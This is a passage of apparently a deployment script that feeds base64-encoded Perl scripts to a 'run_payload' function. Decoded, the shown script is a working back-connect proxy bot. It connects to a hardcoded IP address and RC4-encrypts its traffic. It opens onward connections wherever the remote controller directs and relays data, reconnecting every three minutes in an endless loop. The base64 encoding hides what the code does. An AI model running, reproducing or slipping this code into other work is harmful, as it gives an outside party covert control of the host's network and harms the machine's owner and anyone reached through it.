sIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_20.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA